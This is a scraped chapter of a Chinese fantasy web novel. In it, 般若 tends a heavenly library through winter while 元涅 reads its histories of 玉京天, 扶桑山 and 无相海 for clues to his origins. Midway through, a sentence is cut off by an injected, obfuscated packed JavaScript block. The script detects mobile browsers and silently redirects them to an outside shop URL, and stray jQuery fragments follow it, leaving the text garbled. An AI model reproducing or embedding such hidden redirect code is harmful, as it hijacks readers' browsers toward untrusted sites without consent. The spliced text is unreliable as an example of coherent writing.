文趣网 > 其他小说 > 白日流火 > 10. 藏经阁的暖手炉
    病来如山倒,病去如抽丝,老一辈人说得话真是在理。

    紫阁的风寒有了小半月才完全见好,而芸良君仍需静养,这事儿闹得,连帝君都知晓了些风声,摸清了芸良君脾性,这次便遣派了些老练的文官前来帮忙,还亲自来了青轩阁慰问。

    暹麟帝君少年即位,如今也不过五千岁,他待玉京上神温润有礼,出行在外亦平易近人,然一身正统帝王之气却有不怒自威之感,令人由衷敬畏。

    般若在青轩阁帮忙时意外与摆架而来的帝君打了个照面,被问起了紫芸阁之事。

    “前些日子紫芸阁闹得沸沸扬扬,本君还以为是谛殊元君坐镇授课了,也正准备前去听听呢。”

    般若知他是打趣自己,便笑道:“帝君说笑,阿若与师父之间,长路漫漫其修远,实在不能作比。”

    帝君失笑道:“小元君美名在外,何必谦虚。”

    般若有些汗颜,她深知暹麟帝君脾性,虽是为人谦逊,但与她这种小辈寒暄,怕是下一秒就要说什么事了。果不其然,帝君话锋一转,便提起了藏经阁无上神驻守的事:“玉京仙神各司其职,若为一人破例,此例一开,效尤者众,阿若,你可知本君是何意?”

    般若垂首:“阿若明白。”

    藏经阁虽是师父为她谋得闲职,但长久擅离职守,的确不应该,般若并不想触帝君霉头,正好时至冬日,紫芸阁休课,她不必担心给紫阁的承诺,便拿走了少许典籍书册,放去了藏经阁,做回了以往管阁子的事务。

    没料想藏经阁管事的小仙却是盼星星盼月亮地盼着她回来,立马递上了这几个月的书册批录单,给般若过目确认。

    般若翻阅着批录单,嘀咕道:“往日窝在这阁内时,不见这么多人来请书册,一走倒是都涌上来了。”

    所谓请书册,其实就是借书,藏经阁不似省经阁,众仙神可以自行出入,藏经阁内大多书册都为孤品,或是不宜为外人所知的辛秘之册。如众仙神需要阅读书籍,则需说明缘由,再经过层层审批才能借阅。

    至于其他事务,便是书册清点入库之事,倒不必般若亲力亲为。

    是以这次回来,一向清闲的藏经阁,竟破天荒地忙碌起来了。不过般若惯会忙里偷闲,审阅批录单,整理典籍,温习功课,每日必做的三项事务完成后,还剩不少属于自己的时间。

    时渐冬日,般若最是畏寒,便常常呆在温暖的藏经阁内。阁中地龙烧得暖,空气里浮动着千年古籍特有的气味,淡淡墨香,沁人心脾。

    般若常坐临窗僻静处,捧着黄铜暖手炉,那瞬间,周身被暖意与书香温柔包裹,只觉得俗虑尽消。

    每日未时,她本要让元涅来莲华宫温习课业,如今却因贪恋这阁中温暖不愿回家,干脆遣了岁岁传话,叫元涅直接到藏经阁来背诵经文。

    元涅是个说话算话的好孩子,承诺了认真背书,这些日子便一点没有偷懒,且他悟性很高,认真起来,一点便通,如今背诵已完全难不住他了,午后大概半个时辰,便能顺利通过般若对他检查。

    每月十五十六,二人一同前去伽蓝殿,元君也夸赞元涅很是有长进,般若作为师姐,引导做得很是细致。

    夸赞的结局,当然便是般若更似打了鸡血。

    而元涅么?他似乎已经认命了。

    *

    这日的玉京飘起了初雪。

    般若虽怕冷,却很喜欢看下雪,她觉得雪似云絮,寂寂无声,温柔地覆盖着玉京上的朱甍碧瓦,仿佛所有喧嚣都被这纯白吸附,连风过檐角的声音,都变得格外清晰。

    她像往常一般,用过早膳后前往了藏经阁,却发现阁内的小仙使今日生病告假了,留了一封手写信在她的书案上,除去前面说明的告假缘由,后面还特意嘱咐:“批录单小仙已整理归册,放置于尊上书案之上。望尊上能及时批阅,莫似往昔那般,批文之际,神思倦怠,酣睡入梦。”

    般若汗颜一笑,看来是她平日里太过懒惰了,这阁内温暖,她又是莲花,冬日里酣梦连连,也是常事。

    不过没了小仙使打下手,般若的工作便要繁琐了许多,她得先审阅批录单,看填写人请书的理由是否妥当,确认所借书册是否在库后、再查阅其位置,将书册拿下来分门别类地放好。

    藏经阁可不小,这么来来回回跑下来,她一个人耗时又费力。

    往日未时,元涅抵达藏经阁背书,般若早倚在莲台上看起了闲书,而今日一来,她却没了影,元涅在阁内上下搜寻了一番,又师姐、般若地呼唤了好几声,她这才抱着一沓子书册出现在元涅面前。

    “元涅,你来了可太好了,快来帮帮我吧。”

    ......

    “冬日严寒,止步家中,不得乐趣,心痒难耐,特请《三界辛秘野史》前来观赏一番,望尊上批录。请书人:祈云殿渺淼神君。”

    “喏,《三界辛秘野史》,我给你拿下来了。”

    般若方念完这句话,元涅便把书册放置在了她的身侧,效率快得吓人,偏还问:“下一本是什么?”

    般若有些置气地抬起头,吐槽道:“这个渺淼神君,要请经阁内的书,也不写个正当些的理由,本尊给他批不了。”

    元涅偏头看了看她案上一大堆没能批下的书册,又瞧着般若这幅少有的气急败坏的模样,突然觉得她这闲职也没那么好做,倒不如自己无业闲徒轻松自在。

    “不批了,不批了!”她把书册推到一旁,气鼓鼓道:“借书的成日没个正形,还书的全都没有时间概念,这工作没法做啦!”

    元涅肩头耸动,却忍住了笑声,他瞧了瞧那本《三界辛秘野史》,抱起了一整塌没有批录的书册,问道:“这些书放回去之前,我能在这儿看么?”

    般若放下狼毫,捂住了手炉:“小师弟,请问你今天的课业温习好了么?”

    元涅挑眉:“当然。”

    般若愤恨一声,拿起自己的课业本,微微笑:“想看什么随你咯。”

    诚然,般若不仅是个乖顺听话的好徒儿,还是个善解人意的好师姐。

    *

    元涅并不算喜欢看书的人。

    修行之际,会看心法书册,闲暇之余,也会看兵书解闷,但对杜撰的志怪奇谈之类的书,不甚感兴趣。所以他抱走般若那一沓书,也非想看那本《三界辛秘野史》,不过是为得般若一个口信,能够自由翻阅这阁子里的书罢了。

    诚然如阁内的规矩,免教闲人随意进出,他借着般若这一层关系能够自由出入,想来是个好机会。

    省经阁内关于三界关系,无相海正史之类的书册,他全翻了个遍,却并没有太多“域界恶果”红莲的详细记载,若藏经阁内这些被“藏起来”的书册,能让他翻找到些关于自己身世的秘密,那便再好不过了。

    几日来,他顶着般若好奇地目光,昏天黑地地看书,虽然并没有找到许多“红莲”的信息,却也让他知晓了不少三界辛秘,对玉京天,无相海,以及扶桑山这三派势力,有了更为清晰的认知。

    而这一切的开端,还要从扶桑山立帜讲起。

    许多年前,天界玉京天,域界无相海,凡界凡尘居,世间三界相互独立,各司其职,还未有扶桑山这一名号。

    帝位纷争,王室夺权,似乎只是凡尘所属的宫闱秘事,然而玉京亦未能免俗。

    彼时,玉京天有两位同样出众的继承人,皆是心高气傲,不甘

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832676|211356||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    屈居人下。

    帝君亦难定夺,遂有仙者提议以文武二试择定继位人。此议本颇得众心,玉京天上诸位仙家皆是翘首以待,期盼着这一场龙争虎斗。

    却不料,素以法力高强著称的二殿下,竟在比试之初突生纰漏,失足被大殿击落云头,败局骤定,再无回转余地。

    众仙家唏嘘不已,亦为这场未尽之战深感遗憾。

    此后,大殿继位,兄弟阋墙,玉京天渐分为两派:一奉新帝为尊,是为帝党;另一派则聚于二殿麾下,其后渐成“扶桑山”之派。

    两派虽各自独立,但两位殿下毕竟血浓于水,之间并无兵戈相向。

    相反,扶桑山与无相海之间的旧怨新仇,日益深重。

    这仇怨缘何而起,我们暂且不提,更值得说道的,是二殿下曾为掌日之神,自扶桑山立帜,便夺昴日之权,奉为圣物,在随后数十万年间与无相海的冲突中,褫夺其界光明。

    无相海渊源极古,传说乃菩提界悲悯下界众生执念难消,特意斩下的一片慧海。这片无相海子嵌入地心,于无边海域之上,开辟出的一方独特地界,管辖幽冥,妖魔,归墟三域,因而也被称为“域界”。

    因修炼心法与玉京天追求清静超然异相殊途,故自成一体与之并立。其内部由代表古老血统的王族“域尊”,与象征无相海意志的“圣君”共治,下设诸城体系,各司其职,共同维系着这片广袤域界的秩序与安宁。

    然而,过往辉煌终成云烟,如今的无相海在与扶桑山的不断争斗中日渐式微,盛景难再。如今,为求续存闭关自守,养精蓄锐。

    元涅甚至翻到了无相海“圣君”陨落的在册记录。

    ……

    第四十七任圣君昭融,无相海北疆之役,陨落尸归故里。

    第四十八任圣君瞿华,扶桑山云巅之役,陨落尸骨无存。

    第四十九任圣君重煦,无相海醴都之役,陨落尸骨无存。

    至此,无相海新一任圣君尚未诞生,而有传言,此任域尊仍旧陷于内乱之中,不得脱身...

    多日来,元涅翻阅史册,关于红莲的信息实在不多,不过他注意到一个细节,无相海先圣君瞿华身上,也降下过一场十阙雷罚。

    但究竟是何含义,他不明白。

    般若也不明白,她觉得元涅这几日甚是奇怪,是这经阁内的万年老书虫附了身么?竟变得这般勤勉,常常来得比她早,走得还比她还晚些。

    给他递茶时,他头也未抬,只含糊地道了声谢,便继续沉迷书中。

    般若偷瞄了他手中书册,尽是些三界史志。再远远看他,便见这疏朗少年时而眉头深锁,时而又面露苦痛。

    般若看不明白,便也不再管他了,自顾自坐到临窗的书案前,做自己的事去了。

    地龙烧得旺,阁内暖意融融,她嫌有些闷,抬手支起一扇窗。

    窗外的雪下得极大,清新的空气涌入,寒风却也直往人领口里钻,激得她连打了几个喷嚏。

    般若赶紧将窗关小了些,再将那个每日必备的黄铜暖手炉揽入怀中,温热的触感从掌心流遍全身,在这寒暖交织间,竟寻到了一种惬意的平衡。

    只是...

    般若忽然回忆起,这几日管事的小仙使告了假,这暖炉是谁为她备的呢?

    她并没有多想,这个念头也只如雪落窗台,轻轻一触便消融了。

    阁内一时静极,只闻元涅摩挲书页微响,般若蘸墨书写沙沙。

    巨大的温暖包裹住藏经阁内这个小小世界,窗外是漫天飞雪、银装素裹的寂寂玉京,窗内则被暖意浸润得柔软温柔。

    他们各据一方,沉浸在自己的天地中,恬静安宁。